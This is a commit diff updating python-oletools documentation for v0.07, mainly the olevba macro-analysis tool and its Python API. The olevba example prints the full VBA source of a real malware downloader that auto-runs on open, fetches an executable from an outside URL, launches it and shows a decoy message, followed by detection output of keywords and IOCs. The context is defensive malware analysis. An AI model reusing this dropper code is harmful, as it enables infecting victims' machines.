updated readme and doc

Philippe Lagadec
1 parent caa1e066
Showing 11 changed files with 450 additions and 107 deletions
oletools/README.html
oletools/README.rst
oletools/doc/Contribute.md
oletools/doc/Home.html
oletools/doc/Home.md
oletools/doc/Install.html
oletools/doc/Install.md
oletools/doc/License.html
oletools/doc/License.md
oletools/doc/olevba.html
oletools/doc/olevba.md
@@ -8,12 +8,13 @@
 </head>
 <body>
 <h1 id="python-oletools">python-oletools</h1>
-<p><a href="http://www.decalage.info/python/oletools">python-oletools</a> is a package of python tools to analyze <a href="http://en.wikipedia.org/wiki/Compound_File_Binary_Format">Microsoft OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format)</a>, such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on the <a href="http://www.decalage.info/python/olefileio">OleFileIO_PL</a> parser. See <a href="http://www.decalage.info/python/oletools">http://www.decalage.info/python/oletools</a> for more info.</p>
-<p><strong>Quick links:</strong> <a href="http://www.decalage.info/python/oletools">Home page</a> - <a href="https://bitbucket.org/decalage/oletools/downloads">Download</a> - <a href="https://bitbucket.org/decalage/oletools/wiki">Documentation</a> - <a href="https://bitbucket.org/decalage/oletools/issues?status=new&amp;status=open">Report Issues/Suggestions/Questions</a> - <a href="http://decalage.info/contact">Contact the Author</a> - <a href="https://bitbucket.org/decalage/oletools">Repository</a> - <a href="https://twitter.com/decalage2">Updates on Twitter</a></p>
+<p><a href="http://www.decalage.info/python/oletools">python-oletools</a> is a package of python tools to analyze <a href="http://en.wikipedia.org/wiki/Compound_File_Binary_Format">Microsoft OLE2 files</a> (also called Structured Storage, Compound File Binary Format or Compound Document File Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on the <a href="http://www.decalage.info/olefile">olefile</a> parser. See <a href="http://www.decalage.info/python/oletools">http://www.decalage.info/python/oletools</a> for more info.</p>
+<p><strong>Quick links:</strong> <a href="http://www.decalage.info/python/oletools">Home page</a> - <a href="https://bitbucket.org/decalage/oletools/wiki/Install">Download/Install</a> - <a href="https://bitbucket.org/decalage/oletools/wiki">Documentation</a> - <a href="https://bitbucket.org/decalage/oletools/issues?status=new&amp;status=open">Report Issues/Suggestions/Questions</a> - <a href="http://decalage.info/contact">Contact the Author</a> - <a href="https://bitbucket.org/decalage/oletools">Repository</a> - <a href="https://twitter.com/decalage2">Updates on Twitter</a></p>
 <p>Note: python-oletools is not related to OLETools published by BeCubed Software.</p>
 <h2 id="news">News</h2>
 <ul>
-<li><strong>2014-08-28 v0.06</strong>: added <a href="https://bitbucket.org/decalage/oletools/wiki/olevba">olevba</a>, a new tool to extract VBA Macro source code from MS Office documents (97-2003 and 2007+). Improved <a href="https://bitbucket.org/decalage/oletools/wiki">documentation</a></li>
+<li><strong>2015-01-05 v0.07</strong>: improved <a href="https://bitbucket.org/decalage/oletools/wiki/olevba">olevba</a> to detect suspicious keywords and IOCs in VBA macros, can now scan several files and open password-protected zip archives, added a Python API, upgraded OleFileIO_PL to olefile v0.41</li>
+<li>2014-08-28 v0.06: added <a href="https://bitbucket.org/decalage/oletools/wiki/olevba">olevba</a>, a new tool to extract VBA Macro source code from MS Office documents (97-2003 and 2007+). Improved <a href="https://bitbucket.org/decalage/oletools/wiki">documentation</a></li>
 <li>2013-07-24 v0.05: added new tools <a href="https://bitbucket.org/decalage/oletools/wiki/olemeta">olemeta</a> and <a href="https://bitbucket.org/decalage/oletools/wiki/oletimes">oletimes</a></li>
 <li>2013-04-18 v0.04: fixed bug in rtfobj, added documentation for <a href="https://bitbucket.org/decalage/oletools/wiki/rtfobj">rtfobj</a></li>
 <li>2012-11-09 v0.03: Improved <a href="https://bitbucket.org/decalage/oletools/wiki/pyxswf">pyxswf</a> to extract Flash objects from RTF</li>
@@ -27,13 +28,14 @@
 <li><a href="https://bitbucket.org/decalage/oletools/wiki/oleid">oleid</a>: a tool to analyze OLE files to detect specific characteristics usually found in malicious files.</li>
 <li><a href="https://bitbucket.org/decalage/oletools/wiki/olemeta">olemeta</a>: a tool to extract all standard properties (metadata) from OLE files.</li>
 <li><a href="https://bitbucket.org/decalage/oletools/wiki/oletimes">oletimes</a>: a tool to extract creation and modification timestamps of all streams and storages.</li>
-<li><a href="https://bitbucket.org/decalage/oletools/wiki/olevba">olevba</a> (new): a tool to extract VBA Macro source code from MS Office documents (OLE and OpenXML).</li>
+<li><a href="https://bitbucket.org/decalage/oletools/wiki/olevba">olevba</a>: a tool to extract and analyze VBA Macro source code from MS Office documents (OLE and OpenXML).</li>
 <li><a href="https://bitbucket.org/decalage/oletools/wiki/pyxswf">pyxswf</a>: a tool to detect, extract and analyze Flash objects (SWF) that may be embedded in files such as MS Office documents (e.g. Word, Excel) and RTF, which is especially useful for malware analysis.</li>
 <li><a href="https://bitbucket.org/decalage/oletools/wiki/rtfobj">rtfobj</a>: a tool and python module to extract embedded objects from RTF files.</li>
 <li>and a few others (coming soon)</li>
 </ul>
 <h2 id="download-and-install">Download and Install:</h2>
 <p>To use python-oletools from the command line as analysis tools, you may simply <a href="https://bitbucket.org/decalage/oletools/downloads">download the zip archive</a> and extract the files in the directory of your choice.</p>
+<p>To get the latest development version, click on &quot;Download repository&quot; on the <a href="https://bitbucket.org/decalage/oletools/downloads">downloads page</a>, or use mercurial to clone the repository.</p>
 <p>If you plan to use python-oletools with other Python applications or your own scripts, then the simplest solution is to use &quot;<strong>pip install oletools</strong>&quot; or &quot;<strong>easy_install oletools</strong>&quot; to download and install in one go. Otherwise you may download/extract the zip archive and run &quot;<strong>setup.py install</strong>&quot;.</p>
 <h2 id="documentation">Documentation:</h2>
 <p>The latest version of the documentation can be found <a href="https://bitbucket.org/decalage/oletools/wiki">online</a>, otherwise a copy is provided in the doc subfolder of the package.</p>
@@ -44,7 +46,7 @@
 <p>The code is available in <a href="https://bitbucket.org/decalage/oletools">a Mercurial repository on Bitbucket</a>. You may use it to submit enhancements using forks and pull requests.</p>
 <h2 id="license">License</h2>
 <p>This license applies to the python-oletools package, apart from the thirdparty folder which contains third-party files published with their own license.</p>
-<p>The python-oletools package is copyright (c) 2012-2014 Philippe Lagadec (http://www.decalage.info)</p>
+<p>The python-oletools package is copyright (c) 2012-2015 Philippe Lagadec (http://www.decalage.info)</p>
 <p>All rights reserved.</p>
 <p>Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:</p>
 <ul>
@@ -2,19 +2,19 @@ python-oletools
 ===============
 `python-oletools <http://www.decalage.info/python/oletools>`_ is a
-package of python tools to analyze `Microsoft OLE2 files (also called
-Structured Storage, Compound File Binary Format or Compound Document
-File
-Format) <http://en.wikipedia.org/wiki/Compound_File_Binary_Format>`_,
-such as Microsoft Office documents or Outlook messages, mainly for
-malware analysis, forensics and debugging. It is based on the
-`OleFileIO\_PL <http://www.decalage.info/python/olefileio>`_ parser. See
+package of python tools to analyze `Microsoft OLE2
+files <http://en.wikipedia.org/wiki/Compound_File_Binary_Format>`_ (also
+called Structured Storage, Compound File Binary Format or Compound
+Document File Format), such as Microsoft Office documents or Outlook
+messages, mainly for malware analysis, forensics and debugging. It is
+based on the `olefile <http://www.decalage.info/olefile>`_ parser. See
 `http://www.decalage.info/python/oletools <http://www.decalage.info/python/oletools>`_
 for more info.
 **Quick links:** `Home page <http://www.decalage.info/python/oletools>`_
-- `Download <https://bitbucket.org/decalage/oletools/downloads>`_ -
-`Documentation <https://bitbucket.org/decalage/oletools/wiki>`_ -
+-
+`Download/Install <https://bitbucket.org/decalage/oletools/wiki/Install>`_
+- `Documentation <https://bitbucket.org/decalage/oletools/wiki>`_ -
 `Report
 Issues/Suggestions/Questions <https://bitbucket.org/decalage/oletools/issues?status=new&status=open>`_
 - `Contact the Author <http://decalage.info/contact>`_ -
@@ -27,7 +27,12 @@ Software.
 News
 ----
--  **2014-08-28 v0.06**: added
+-  **2015-01-05 v0.07**: improved
+   `olevba <https://bitbucket.org/decalage/oletools/wiki/olevba>`_ to
+   detect suspicious keywords and IOCs in VBA macros, can now scan
+   several files and open password-protected zip archives, added a
+   Python API, upgraded OleFileIO\_PL to olefile v0.41
+-  2014-08-28 v0.06: added
    `olevba <https://bitbucket.org/decalage/oletools/wiki/olevba>`_, a
    new tool to extract VBA Macro source code from MS Office documents
    (97-2003 and 2007+). Improved
@@ -61,8 +66,8 @@ Tools in python-oletools:
 -  `oletimes <https://bitbucket.org/decalage/oletools/wiki/oletimes>`_:
    a tool to extract creation and modification timestamps of all streams
    and storages.
--  `olevba <https://bitbucket.org/decalage/oletools/wiki/olevba>`_
-   (new): a tool to extract VBA Macro source code from MS Office
+-  `olevba <https://bitbucket.org/decalage/oletools/wiki/olevba>`_: a
+   tool to extract and analyze VBA Macro source code from MS Office
    documents (OLE and OpenXML).
 -  `pyxswf <https://bitbucket.org/decalage/oletools/wiki/pyxswf>`_: a
    tool to detect, extract and analyze Flash objects (SWF) that may be
@@ -80,6 +85,11 @@ simply `download the zip
 archive <https://bitbucket.org/decalage/oletools/downloads>`_ and
 extract the files in the directory of your choice.
+To get the latest development version, click on "Download repository" on
+the `downloads
+page <https://bitbucket.org/decalage/oletools/downloads>`_, or use
+mercurial to clone the repository.
+
 If you plan to use python-oletools with other Python applications or
 your own scripts, then the simplest solution is to use "**pip install
 oletools**\ " or "**easy\_install oletools**\ " to download and install
@@ -118,7 +128,7 @@ This license applies to the python-oletools package, apart from the
 thirdparty folder which contains third-party files published with their
 own license.
-The python-oletools package is copyright (c) 2012-2014 Philippe Lagadec
+The python-oletools package is copyright (c) 2012-2015 Philippe Lagadec
 (http://www.decalage.info)
 All rights reserved.
@@ -3,11 +3,13 @@ How to Suggest Improvements, Report Issues or Contribute
 This is a personal open-source project, developed on my spare time. Any contribution, suggestion, feedback or bug report is welcome.
-To **suggest improvements, report a bug or any issue**, please use the [issue reporting page](https://bitbucket.org/decalage/oletools/issues?status=new&status=open), providing all the information and files to reproduce the problem. 
+To **suggest improvements, report a bug or any issue**, please use the [issue reporting page](https://bitbucket.org/decalage/oletools/issues?status=new&status=open), 
+providing all the information and files to reproduce the problem. 
 You may also [contact the author](http://decalage.info/contact) directly to **provide feedback**.
-The code is available in [a Mercurial repository on Bitbucket](https://bitbucket.org/decalage/oletools). You may use it to **submit enhancements** using forks and pull requests.
+The code is available in [a Mercurial repository on Bitbucket](https://bitbucket.org/decalage/oletools). 
+You may use it to **submit enhancements** using forks and pull requests.
 --------------------------------------------------------------------------
@@ -7,10 +7,10 @@
   <title></title>
 </head>
 <body>
-<h1 id="python-oletools-v0.06-documentation">python-oletools v0.06 documentation</h1>
+<h1 id="python-oletools-v0.07-documentation">python-oletools v0.07 documentation</h1>
 <p>This is the home page of the documentation for python-oletools. The latest version can be found <a href="https://bitbucket.org/decalage/oletools/wiki">online</a>, otherwise a copy is provided in the doc subfolder of the package.</p>
-<p><a href="http://www.decalage.info/python/oletools">python-oletools</a> is a package of python tools to analyze <a href="http://en.wikipedia.org/wiki/Compound_File_Binary_Format">Microsoft OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format)</a>, such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on the <a href="http://www.decalage.info/python/olefileio">OleFileIO_PL</a> parser. See <a href="http://www.decalage.info/python/oletools">http://www.decalage.info/python/oletools</a> for more info.</p>
-<p><strong>Quick links:</strong> <a href="http://www.decalage.info/python/oletools">Home page</a> - <a href="https://bitbucket.org/decalage/oletools/downloads">Download</a> - <a href="https://bitbucket.org/decalage/oletools/wiki">Documentation</a> - <a href="https://bitbucket.org/decalage/oletools/issues?status=new&amp;status=open">Report Issues/Suggestions/Questions</a> - <a href="http://decalage.info/contact">Contact the author</a> - <a href="https://bitbucket.org/decalage/oletools">Repository</a> - <a href="https://twitter.com/decalage2">Updates on Twitter</a></p>
+<p><a href="http://www.decalage.info/python/oletools">python-oletools</a> is a package of python tools to analyze <a href="http://en.wikipedia.org/wiki/Compound_File_Binary_Format">Microsoft OLE2 files</a> (also called Structured Storage, Compound File Binary Format or Compound Document File Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on the <a href="http://www.decalage.info/olefile">olefile</a> parser. See <a href="http://www.decalage.info/python/oletools">http://www.decalage.info/python/oletools</a> for more info.</p>
+<p><strong>Quick links:</strong> <a href="http://www.decalage.info/python/oletools">Home page</a> - <a href="https://bitbucket.org/decalage/oletools/wiki/Install">Download/Install</a> - <a href="https://bitbucket.org/decalage/oletools/wiki">Documentation</a> - <a href="https://bitbucket.org/decalage/oletools/issues?status=new&amp;status=open">Report Issues/Suggestions/Questions</a> - <a href="http://decalage.info/contact">Contact the author</a> - <a href="https://bitbucket.org/decalage/oletools">Repository</a> - <a href="https://twitter.com/decalage2">Updates on Twitter</a></p>
 <p>Note: python-oletools is not related to OLETools published by BeCubed Software.</p>
 <h2 id="tools-in-python-oletools">Tools in python-oletools:</h2>
 <ul>
-python-oletools v0.06 documentation
+python-oletools v0.07 documentation
 ===================================
-This is the home page of the documentation for python-oletools. The latest version can be found [online](https://bitbucket.org/decalage/oletools/wiki), otherwise a copy is provided in the doc subfolder of the package.
-
-[python-oletools](http://www.decalage.info/python/oletools) is a package of python tools to analyze [Microsoft OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format)](http://en.wikipedia.org/wiki/Compound_File_Binary_Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on the [OleFileIO_PL](http://www.decalage.info/python/olefileio) parser. See [http://www.decalage.info/python/oletools](http://www.decalage.info/python/oletools) for more info.  
-
-**Quick links:** [Home page](http://www.decalage.info/python/oletools) - [Download](https://bitbucket.org/decalage/oletools/downloads) - [Documentation](https://bitbucket.org/decalage/oletools/wiki) - [Report Issues/Suggestions/Questions](https://bitbucket.org/decalage/oletools/issues?status=new&status=open) - [Contact the author](http://decalage.info/contact) - [Repository](https://bitbucket.org/decalage/oletools) - [Updates on Twitter](https://twitter.com/decalage2)
+This is the home page of the documentation for python-oletools. The latest version can be found 
+[online](https://bitbucket.org/decalage/oletools/wiki), otherwise a copy is provided in the doc subfolder of the package.
+
+[python-oletools](http://www.decalage.info/python/oletools) is a package of python tools to analyze 
+[Microsoft OLE2 files](http://en.wikipedia.org/wiki/Compound_File_Binary_Format)
+(also called Structured Storage, Compound File Binary Format or Compound Document File Format), 
+such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. 
+It is based on the [olefile](http://www.decalage.info/olefile) parser. 
+See [http://www.decalage.info/python/oletools](http://www.decalage.info/python/oletools) for more info.  
+
+**Quick links:** [Home page](http://www.decalage.info/python/oletools) - 
+[Download/Install](https://bitbucket.org/decalage/oletools/wiki/Install) - 
+[Documentation](https://bitbucket.org/decalage/oletools/wiki) - 
+[Report Issues/Suggestions/Questions](https://bitbucket.org/decalage/oletools/issues?status=new&status=open) - 
+[Contact the author](http://decalage.info/contact) - 
+[Repository](https://bitbucket.org/decalage/oletools) - 
+[Updates on Twitter](https://twitter.com/decalage2)
 Note: python-oletools is not related to OLETools published by BeCubed Software.
@@ -13,6 +13,7 @@
 <h2 id="for-command-line-tools">For command-line tools</h2>
 <p>To use python-oletools from the command line as analysis tools, you may simply <a href="https://bitbucket.org/decalage/oletools/downloads">download the zip archive</a> and extract the files in the directory of your choice.</p>
 <p>You may then add the directory to your PATH environment variable to access the tools from anywhere.</p>
+<p>To get the latest development version, click on &quot;Download repository&quot; on the <a href="https://bitbucket.org/decalage/oletools/downloads">downloads page</a>, or use mercurial to clone the repository.</p>
 <h2 id="for-python-applications">For python applications</h2>
 <p>If you plan to use python-oletools with other Python applications or your own scripts, the simplest solution is to use &quot;<strong>pip install oletools</strong>&quot; or &quot;<strong>easy_install oletools</strong>&quot; to download and install the package in one go.</p>
 <p>Otherwise you may download/extract the <a href="https://bitbucket.org/decalage/oletools/downloads">zip archive</a> in a temporary directory and run &quot;<strong>python setup.py install</strong>&quot;.</p>
@@ -10,16 +10,24 @@ For now, python-oletools require Python 2.x. They are not compatible with Python
 For command-line tools
 ----------------------
-To use python-oletools from the command line as analysis tools, you may simply [download the zip archive](https://bitbucket.org/decalage/oletools/downloads) and extract the files in the directory of your choice.
+To use python-oletools from the command line as analysis tools, you may simply 
+[download the zip archive](https://bitbucket.org/decalage/oletools/downloads) 
+and extract the files in the directory of your choice.
 You may then add the directory to your PATH environment variable to access the tools from anywhere.
+To get the latest development version, click on "Download repository" on the 
+[downloads page](https://bitbucket.org/decalage/oletools/downloads), or use mercurial to clone the repository.
+
+
 For python applications
 ----------------------
-If you plan to use python-oletools with other Python applications or your own scripts, the simplest solution is to use "**pip install oletools**" or "**easy_install oletools**" to download and install the package in one go. 
+If you plan to use python-oletools with other Python applications or your own scripts, the simplest solution is to use 
+"**pip install oletools**" or "**easy_install oletools**" to download and install the package in one go. 
-Otherwise you may download/extract the [zip archive](https://bitbucket.org/decalage/oletools/downloads) in a temporary directory and run "**python setup.py install**".
+Otherwise you may download/extract the [zip archive](https://bitbucket.org/decalage/oletools/downloads) in a temporary 
+directory and run "**python setup.py install**".
 --------------------------------------------------------------------------
@@ -9,7 +9,7 @@
 <body>
 <h1 id="license-for-python-oletools">License for python-oletools</h1>
 <p>This license applies to the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package, apart from the thirdparty folder which contains third-party files published with their own license.</p>
-<p>The python-oletools package is copyright (c) 2012-2014 Philippe Lagadec (<a href="http://www.decalage.info">http://www.decalage.info</a>)</p>
+<p>The python-oletools package is copyright (c) 2012-2015 Philippe Lagadec (<a href="http://www.decalage.info">http://www.decalage.info</a>)</p>
 <p>All rights reserved.</p>
 <p>Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:</p>
 <ul>
 License for python-oletools
 ===========================
-This license applies to the [python-oletools](http://www.decalage.info/python/oletools) package, apart from the thirdparty folder which contains third-party files published with their own license.
+This license applies to the [python-oletools](http://www.decalage.info/python/oletools) package, apart from the 
+thirdparty folder which contains third-party files published with their own license.
-The python-oletools package is copyright (c) 2012-2014 Philippe Lagadec ([http://www.decalage.info](http://www.decalage.info))
+The python-oletools package is copyright (c) 2012-2015 Philippe Lagadec ([http://www.decalage.info](http://www.decalage.info))
 All rights reserved.
@@ -8,36 +8,55 @@
 </head>
 <body>
 <h1 id="olevba">olevba</h1>
-<p>olevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel), to extract VBA Macro code in clear text.</p>
+<p>olevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel), to <strong>detect VBA Macros</strong>, extract their <strong>source code</strong> in clear text, and detect security-related patterns such as <strong>auto-executable macros</strong>, <strong>suspicious VBA keywords</strong> used by malware, and potential <strong>IOCs</strong> (IP addresses, URLs, executable filenames, etc).</p>
+<p>It can be used either as a command-line tool, or as a python module from your own applications.</p>
 <p>It is part of the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package.</p>
-<p>Supported formats:</p>
+<p>olevba is based on source code from <a href="https://github.com/unixfreak0037/officeparser">officeparser</a> by John William Davison, with significant modifications.</p>
+<h2 id="supported-formats">Supported formats</h2>
 <ul>
 <li>Word 97-2003 (.doc, .dot), Word 2007+ (.docm, .dotm)</li>
 <li>Excel 97-2003 (.xls), Excel 2007+ (.xlsm, .xlsb)</li>
 <li>PowerPoint 2007+ (.pptm, .ppsm)</li>
 </ul>
-<p>olevba is based on source code from <a href="https://github.com/unixfreak0037/officeparser">officeparser</a> by John William Davison</p>
+<h2 id="main-features">Main Features</h2>
+<ul>
+<li>Detect VBA macros in MS Office 97-2003 and 2007+ files</li>
+<li>Extract VBA macro source code</li>
+<li>Detect auto-executable macros</li>
+<li>Detect suspicious VBA keywords often used by malware</li>
+<li>Extract IOCs/patterns of interest such as IP addresses, URLs, e-mail addresses and executable file names</li>
+<li>Scan multiple files and sample collections (wildcards, recursive)</li>
+<li>Scan malware samples in password-protected Zip archives</li>
+<li>Python API to use olevba from your applications</li>
+</ul>
+<p>MS Office files encrypted with a password are also supported, because VBA macro code is never encrypted, only the content of the document.</p>
+<h2 id="about-vba-macros">About VBA Macros</h2>
+<p>See <a href="http://www.decalage.info/en/vba_tools">this article</a> for more information and technical details about VBA Macros and how they are stored in MS Office documents.</p>
 <h2 id="usage">Usage</h2>
-<pre><code>olevba.py &lt;file&gt;</code></pre>
+<pre><code>Usage: olevba.py [options] &lt;filename&gt; [filename2 ...]
+
+Options:
+  -h, --help            show this help message and exit
+  -r                    find files recursively in subdirectories.
+  -z ZIP_PASSWORD, --zip=ZIP_PASSWORD
+                        if the file is a zip archive, open first file from it,
+                        using the provided password (requires Python 2.6+)
+  -f ZIP_FNAME, --zipfname=ZIP_FNAME
+                        if the file is a zip archive, file(s) to be opened
+                        within the zip. Wildcards * and ? are supported.
+                        (default:*)</code></pre>
 <h3 id="example">Example</h3>
 <p>Checking the malware sample <a href="https://malwr.com/analysis/M2I4YWRhM2IwY2QwNDljN2E3ZWFjYTg3ODk4NmZhYmE/">DIAN_caso-5415.doc</a>:</p>
-<pre><code>&gt;olevba.py DIAN_caso-5415.doc
-
-INFO: Extracting VBA Macros from OLE file DIAN_caso-5415.doc
-
+<pre><code>&gt;olevba.py c:\MalwareZoo\VBA\DIAN_caso-5415.doc.zip -z infected
+===============================================================================
+FILE: DIAN_caso-5415.doc.malware in c:\MalwareZoo\VBA\DIAN_caso-5415.doc.zip
+Type: OLE
 -------------------------------------------------------------------------------
-ThisDocument.cls
-
-Attribute VB_Name = &quot;ThisDocument&quot;
-Attribute VB_Base = &quot;1Normal.ThisDocument&quot;
-Attribute VB_GlobalNameSpace = False
-Attribute VB_Creatable = False
-Attribute VB_PredeclaredId = True
-Attribute VB_Exposed = True
-Attribute VB_TemplateDerived = True
-Attribute VB_Customizable = True
+VBA MACRO ThisDocument.cls
+in file: DIAN_caso-5415.doc.malware - OLE stream: Macros/VBA/ThisDocument
+- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 Option Explicit
-Private Declare Function URLDownloadToFileA Lib &quot;urlmon&quot; (ByVal FVQGKS As Long, _
+Private Declare Function URLDownloadToFileA Lib &quot;urlmon&quot; (ByVal FVQGKS As Long,_
 ByVal WSGSGY As String, ByVal IFRRFV As String, ByVal NCVOLV As Long, _
 ByVal HQTLDG As Long) As Long
 Sub AutoOpen()
@@ -47,7 +66,8 @@ Sub Auto_Open()
 SNVJYQ
 End Sub
 Public Sub SNVJYQ()
-    OGEXYR &quot;http://germanya.com.ec/logs/test.exe&quot;, Environ(&quot;TMP&quot;) &amp; &quot;\sfjozjero.exe&quot;
+    OGEXYR &quot;http://germanya.com.ec/logs/test.exe&quot;, Environ(&quot;TMP&quot;) &amp; &quot;\sfjozjero.
+exe&quot;
 End Sub
 Function OGEXYR(XSTAHU As String, PHHWIV As String) As Boolean
     Dim HRKUYU, lala As Long
@@ -55,16 +75,111 @@ Function OGEXYR(XSTAHU As String, PHHWIV As String) As Boolean
     If HRKUYU = 0 Then OGEXYR = True
     Dim YKPZZS
     YKPZZS = Shell(PHHWIV, 1)
-    MsgBox &quot;El contenido de este documento no es compatible con este equipo.&quot; &amp; vbCrLf &amp; vbCrLf &amp; &quot;Por favor intente desde otro equipo.&quot;, vbCritical, &quot;Equipo no compatible&quot;
-    lala = URLDownloadToFileA(0, &quot;http://germanya.com.ec/logs/counter.php&quot;, Environ(&quot;TMP&quot;) &amp; &quot;\lkjljlljk&quot;, 0, 0)
+    MsgBox &quot;El contenido de este documento no es compatible con este equipo.&quot; &amp;
+vbCrLf &amp; vbCrLf &amp; &quot;Por favor intente desde otro equipo.&quot;, vbCritical, &quot;Equipo no
+ compatible&quot;
+    lala = URLDownloadToFileA(0, &quot;http://germanya.com.ec/logs/counter.php&quot;, Envi
+ron(&quot;TMP&quot;) &amp; &quot;\lkjljlljk&quot;, 0, 0)
     Application.DisplayAlerts = False
     Application.Quit
 End Function
 Sub Workbook_Open()
     Auto_Open
-End Sub</code></pre>
+End Sub
+
+- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+ANALYSIS:
++------------+----------------------+-----------------------------------------+
+| Type       | Keyword              | Description                             |
++------------+----------------------+-----------------------------------------+
+| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
+| AutoExec   | Auto_Open            | Runs when the Excel Workbook is opened  |
+| AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
+| Suspicious | Lib                  | May run code from a DLL                 |
+| Suspicious | Shell                | May run an executable file or a system  |
+|            |                      | command                                 |
+| Suspicious | Environ              | May read system environment variables   |
+| Suspicious | URLDownloadToFileA   | May download files from the Internet    |
+| IOC        | http://germanya.com. | URL                                     |
+|            | ec/logs/test.exe&quot;    |                                         |
+| IOC        | http://germanya.com. | URL                                     |
+|            | ec/logs/counter.php&quot; |                                         |
+| IOC        | germanya.com         | Executable file name                    |
+| IOC        | test.exe             | Executable file name                    |
+| IOC        | sfjozjero.exe        | Executable file name                    |
++------------+----------------------+-----------------------------------------+</code></pre>
 <h2 id="how-to-use-olevba-in-python-applications">How to use olevba in Python applications</h2>
-<p>TODO</p>
+<p>olevba may be used to open a MS Office file, detect if it contains VBA macros, extract and analyze the VBA source code from your own python applications.</p>
+<h3 id="import-olevba">Import olevba</h3>
+<p>First, import the <strong>oletools.olevba</strong> package, using at least the VBA_Parser class:</p>
+<pre><code>from oletools.olevba import VBA_Parser</code></pre>
+<h3 id="parse-a-ms-office-file">Parse a MS Office file</h3>
+<p>Create an instance of the <strong>VBA_Parser</strong> class, providing the name of the file to open as parameter. The file may also be provided as a bytes string containing its data, or a file-like object. In that case, the actual filename may be provided as a second parameter, if available.</p>
+<pre><code>vba = VBA_Parser(&#39;my_file_with_macros.doc&#39;)</code></pre>
+<p>VBA_Parser will raise an exception if the file is not a supported format, either OLE (MS Office 97-2003) or OpenXML (MS Office 2007+).</p>
+<h3 id="detect-vba-macros">Detect VBA macros</h3>
+<p>The method <strong>detect_vba_macros</strong> returns True if VBA macros have been found in the file, False otherwise.</p>
+<pre><code>if vba.detect_vba_macros():
+    print &#39;VBA Macros found&#39;
+else:
+    print &#39;No VBA Macros found&#39;</code></pre>
+<p>Note: The detection algorithm looks for streams and storage with specific names in the OLE structure, which works fine for all the supported formats listed above. However, for some formats such as PowerPoint 97-2003, this method will always return False because VBA Macros are stored in a different way.</p>
+<p>Moreover, if the file contains an embedded document (e.g. an Excel workbook inserted into a Word document), this method may return True if the embedded document contains VBA Macros, even if the main document does not.</p>
+<h3 id="extract-vba-macro-source-code">Extract VBA Macro Source Code</h3>
+<p>The method <strong>extract_macros</strong> extracts and decompresses source code for each VBA macro found in the file (possibly including embedded files). It is a generator yielding a tuple (filename, stream_path, vba_filename, vba_code) for each VBA macro found.</p>
+<ul>
+<li>filename: If the file is OLE (MS Office 97-2003), filename is the path of the file. If the file is OpenXML (MS Office 2007+), filename is the path of the OLE subfile containing VBA macros within the zip archive, e.g. word/vbaProject.bin.</li>
+<li>stream_path: path of the OLE stream containing the VBA macro source code</li>
+<li>vba_filename: corresponding VBA filename</li>
+<li>vba_code: string containing the VBA source code in clear text</li>
+</ul>
+<p>Example:</p>
+<pre><code>for (filename, stream_path, vba_filename, vba_code) in vba.extract_macros():
+    print &#39;-&#39;*79
+    print &#39;Filename    :&#39;, filename
+    print &#39;OLE stream  :&#39;, stream_path
+    print &#39;VBA filename:&#39;, vba_filename
+    print &#39;- &#39;*39
+    print vba_code</code></pre>
+<h3 id="detect-auto-executable-macros">Detect auto-executable macros</h3>
+<p>The function <strong>detect_autoexec</strong> checks if VBA macro code contains specific macro names that will be triggered when the document/workbook is opened, closed, changed, etc.</p>
+<p>It returns a list of tuples containing two strings, the detected keyword, and the description of the trigger. (See the malware example above)</p>
+<p>Sample usage:</p>
+<pre><code>from oletools.olevba import detect_autoexec
+autoexec_keywords = detect_autoexec(vba_code)
+if autoexec_keywords:
+    print &#39;Auto-executable macro keywords found:&#39;
+    for keyword, description in autoexec_keywords:
+        print &#39;%s: %s&#39; % (keyword, description)
+else:
+    print &#39;Auto-executable macro keywords: None found&#39;</code></pre>
+<h3 id="detect-suspicious-vba-keywords">Detect suspicious VBA keywords</h3>
+<p>The function <strong>detect_suspicious</strong> checks if VBA macro code contains specific keywords often used by malware to act on the system (create files, run commands or applications, write to the registry, etc).</p>
+<p>It returns a list of tuples containing two strings, the detected keyword, and the description of the corresponding malicious behaviour. (See the malware example above)</p>
+<p>Sample usage:</p>
+<pre><code>from oletools.olevba import detect_suspicious
+suspicious_keywords = detect_suspicious(vba_code)
+if suspicious_keywords:
+    print &#39;Suspicious VBA keywords found:&#39;
+    for keyword, description in suspicious_keywords:
+        print &#39;%s: %s&#39; % (keyword, description)
+else:
+    print &#39;Suspicious VBA keywords: None found&#39;</code></pre>
+<h3 id="extract-potential-iocs">Extract potential IOCs</h3>
+<p>The function <strong>detect_patterns</strong> checks if VBA macro code contains specific patterns of interest, that may be useful for malware analysis and detection (potential Indicators of Compromise): IP addresses, e-mail addresses, URLs, executable file names.</p>
+<p>It returns a list of tuples containing two strings, the pattern type, and the extracted value. (See the malware example above)</p>
+<p>Sample usage:</p>
+<pre><code>from oletools.olevba import detect_patterns
+patterns = detect_patterns(vba_code)
+if patterns:
+    print &#39;Patterns found:&#39;
+    for pattern_type, value in patterns:
+        print &#39;%s: %s&#39; % (pattern_type, value)
+else:
+    print &#39;Patterns: None found&#39;</code></pre>
+<h3 id="close-the-vba_parser">Close the VBA_Parser</h3>
+<p>After usage, it is better to call the <strong>close</strong> method of the VBA_Parser object, to make sure the file is closed, especially if your application is parsing many files.</p>
+<pre><code>vba.close()</code></pre>
 <hr />
 <h2 id="python-oletools-documentation">python-oletools documentation</h2>
 <ul>
